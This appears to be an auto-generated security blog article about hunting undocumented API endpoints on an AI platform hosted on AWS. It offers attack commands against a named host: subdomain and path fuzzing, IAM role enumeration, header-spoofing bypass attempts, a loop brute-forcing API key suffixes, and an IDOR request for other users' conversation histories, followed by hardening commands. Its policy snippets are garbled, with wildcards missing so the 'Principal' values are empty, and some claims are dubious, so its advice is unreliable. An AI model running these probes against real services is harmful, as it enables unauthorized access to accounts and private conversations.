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Introduction:
Undocumented API endpoints are the shadow alleys of cloud architectures—often forgotten, rarely audited, yet brimming with potential for both innovation and intrusion. The recent buzz from security researcher Nick Frichette, who described a Claude Platform on AWS endpoint that “called to me this loudly,” hints at a hidden interface that could allow unauthorized access, data leakage, or privilege escalation. As AI services migrate to hyperscalers like AWS, the discovery of unlisted APIs becomes a critical vector for attackers and defenders alike.
Learning Objectives:
- Discover and enumerate hidden API routes using passive and active reconnaissance techniques.
- Exploit misconfigured AWS IAM policies to gain unintended access to AI platform endpoints.
- Harden cloud-native APIs against unauthorized discovery and abuse with hands-on commands.
You Should Know:
1. Uncovering Hidden API Endpoints with Passive Reconnaissance
Begin by mapping the attack surface of a target like `api.claude.aws.com` (hypothetical). Passive reconnaissance avoids direct interaction, yet reveals clues via DNS, certificate logs, and public code repositories.
Linux Commands:
Retrieve subdomains using certificate transparency logs curl -s "https://crt.sh/?q=%.claude.aws.com&output=json" | jq -r '.[].name_value' | sort -u DNS enumeration with dnsrecon dnsrecon -d claude.aws.com -D /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt Check for common API patterns with httpx cat subdomains.txt | httpx -path /v1/api -status-code -content-length
Windows (PowerShell):
Resolve DNS and test common API paths Resolve-DnsName -Name "api.claude.aws.com" | Select-Object IPAddress Invoke-WebRequest -Uri "https://api.claude.aws.com/v1/messages" -Method Options
What this does: It identifies subdomains and likely API routes without triggering alarms. Use these to create a target list for deeper testing.
- The Art of API Fuzzing – Finding the Uncharted
Once potential endpoints are known, fuzzing reveals hidden methods, parameters, and flawed access controls. Tools like `ffuf` or `Burp Intruder` automate this.
Linux Fuzzing Setup:
Install ffuf sudo apt install ffuf -y Fuzz for hidden directories under an API base ffuf -u https://api.claude.aws.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -ac -t 50 Fuzz HTTP methods against a discovered endpoint ffuf -u https://api.claude.aws.com/v1/messages -X FUZZ -w methods.txt -mc all
Windows with PowerShell & Invoke-RestMethod:
$wordlist = Get-Content .\common.txt
foreach ($word in $wordlist) {
$uri = "https://api.claude.aws.com/$word"
try { Invoke-RestMethod -Uri $uri -Method Get -ErrorAction SilentlyContinue }
catch { if ($_.Exception.Response.StatusCode -eq 200) { Write-Host "Found: $uri" } }
}
Step‑by‑step:
- Build a wordlist of plausible API paths (e.g.,
admin,internal,debug,v2).
2. Run fuzzing tool against the base domain.
- Analyze response codes: `200` (exposed), `403` (exists but protected), `500` (buggy).
- For each found path, test with different HTTP verbs (
POST,PUT,DELETE). - Document any that return data without authentication—these are prime targets.
3. AWS IAM Misconfigurations Leading to API Exposure
Many “secret APIs” become accessible because of overly permissive IAM roles or public API Gateway deployments. Reviewing IAM policies can expose where anonymous calls are allowed.
Check IAM for Public Access (requires AWS CLI configured):
List all IAM roles aws iam list-roles --query "Roles[].RoleName" Get the attached policy of a suspicious role aws iam list-attached-role-policies --role-name ClaudeServiceRole Retrieve and inspect the policy document aws iam get-policy-version --policy-arn arn:aws:iam::123456789012:policy/ClaudePolicy --version-id v1 Look for statements with "Effect": "Allow" and "Principal": "" cat policy.json | jq '.PolicyVersion.Document.Statement[] | select(.Principal == "")'
Windows Equivalent:
aws iam list-roles --query "Roles[].RoleName" --output table aws iam get-policy-version --policy-arn arn:aws:iam::123456789012:policy/ClaudePolicy --version-id v1 > policy.json
Step‑by‑step:
- Assume the target AWS account ID (often discoverable via misconfigured S3 buckets or error messages).
- Enumerate roles that likely power the Claude API.
- Extract policies and search for `”Principal”: “”` or `”AWS”: “”` – these allow any AWS principal or anonymous access.
- If found, an attacker could assume that role via `sts:AssumeRole` without any further credentials.
-
Exploiting Unauthenticated API Endpoints – Proof of Concept
Once an unauthenticated or weakly authenticated endpoint is found, craft requests to extract sensitive data. The “secret API” might accept a simple `X-API-Key: test` or even no key at all.
Testing with cURL:
Direct GET request – no auth
curl -X GET "https://api.claude.aws.com/v1/models" -H "Accept: application/json"
Attempt to bypass with default headers
curl -X GET "https://api.claude.aws.com/admin/users" -H "X-Forwarded-For: 127.0.0.1" -H "Host: internal-api.claude.aws.com"
If a partial key is leaked (e.g., in JS source), try fuzzing the rest
for i in {0000..9999}; do curl -s -o /dev/null -w "%{http_code}" -H "X-API-Key: sk-ant-${i}" https://api.claude.aws.com/v1/chat; done
IDOR (Insecure Direct Object Reference) exploitation:
Change user_id parameter to access other users' conversation history curl "https://api.claude.aws.com/v1/history?user_id=1337" -H "Cookie: session=attacker_session"
What this does: It demonstrates how attackers can chain one weak finding (e.g., missing auth on /admin/users) into full data exfiltration. Always obtain permission before testing on live systems.
- Mitigation and Hardening – Securing Your AI APIs on AWS
Organizations can shut down these vectors by enforcing API request signing, WAF rules, and strict IAM boundaries.
AWS CLI Hardening Commands:
Enable AWS WAF v2 on API Gateway with rate limiting
aws wafv2 create-web-acl --name ClaudeAPIWAF --scope REGIONAL --default-action Block={} --visibility-config SampledRequestsEnabled=true,CloudWatchMetricsEnabled=true,MetricName=ClaudeAPIWAF
Attach WAF to API Gateway stage
aws apigateway update-stage --rest-api-id <api-id> --stage-name prod --patch-operations op=replace,path=/webAclArn,value=arn:aws:wafv2:us-east-1:account:regional/webacl/ClaudeAPIWAF/...
Enforce AWS Signature V4 on all API calls (no anonymous access)
aws apigateway update-method --rest-api-id <api-id> --resource-id <resource-id> --http-method GET --patch-operations op=replace,path=/authorizationType,value=AWS_IAM
Set up CloudTrail to log all API Gateway calls
aws cloudtrail create-trail --name ClaudeAPITrail --s3-bucket-name claude-logs --is-multi-region-trail
aws cloudtrail start-logging --name ClaudeAPITrail
Windows PowerShell Hardening:
Create resource-based policy for API Gateway to allow only specific VPC
$policy = @{
Version = "2012-10-17"
Statement = @(
@{
Effect = "Allow"
Principal = ""
Action = "execute-api:Invoke"
Resource = "arn:aws:execute-api:us-east-1:123456789012:abc123/"
Condition = @{
StringEquals = @{ "aws:SourceVpc" = "vpc-12345" }
}
}
)
}
$policy | ConvertTo-Json -Depth 10 | Set-Content -Path api_policy.json
aws apigateway update-rest-api --rest-api-id abc123 --patch-operations op=replace,path=/policy,value=file://api_policy.json
Step‑by‑step mitigation:
- Identify all public API endpoints in your AWS environment using
aws apigateway get-rest-apis. - For each, enforce IAM authorization (AWS_IAM) instead of NONE or CUSTOM.
- Deploy a WAF rule to block requests from unexpected User-Agents or IP ranges.
- Set up real-time alarms in CloudWatch for `403` spikes – they indicate probing.
- Rotate any static API keys and migrate to short-lived credentials via STS.
What Undercode Say:
- Hidden APIs are not a “feature” – they are a liability. Any endpoint not fully documented and access-controlled should be considered a zero-day waiting to happen.
- The combination of AI platforms and cloud IAM creates a complex trust boundary; attackers will exploit the gap between “intended” and “allowed” every time.
- Proactive fuzzing and IAM reviews are not optional – they are the only way to find secrets before adversaries do, especially with services like Claude that evolve rapidly.
Prediction:
This incident will accelerate mandatory API discovery scans as part of cloud security posture management (CSPM). In the next 12 months, AWS and other providers will introduce “shadow API detection” as a native GuardDuty feature. Additionally, legal liability for undisclosed public APIs will shift toward the cloud vendor when customer data is leaked via hidden interfaces. AI platforms will be forced to adopt zero-trust API gateways where every endpoint must be explicitly whitelisted before responding to any request. Researchers like Nick Frichette will increasingly focus on AI service integrations, as the monetary value of AI models makes their APIs prime targets for extraction and denial-of-service attacks.
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IT/Security Reporter URL:
Reported By: Nick Frichette – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
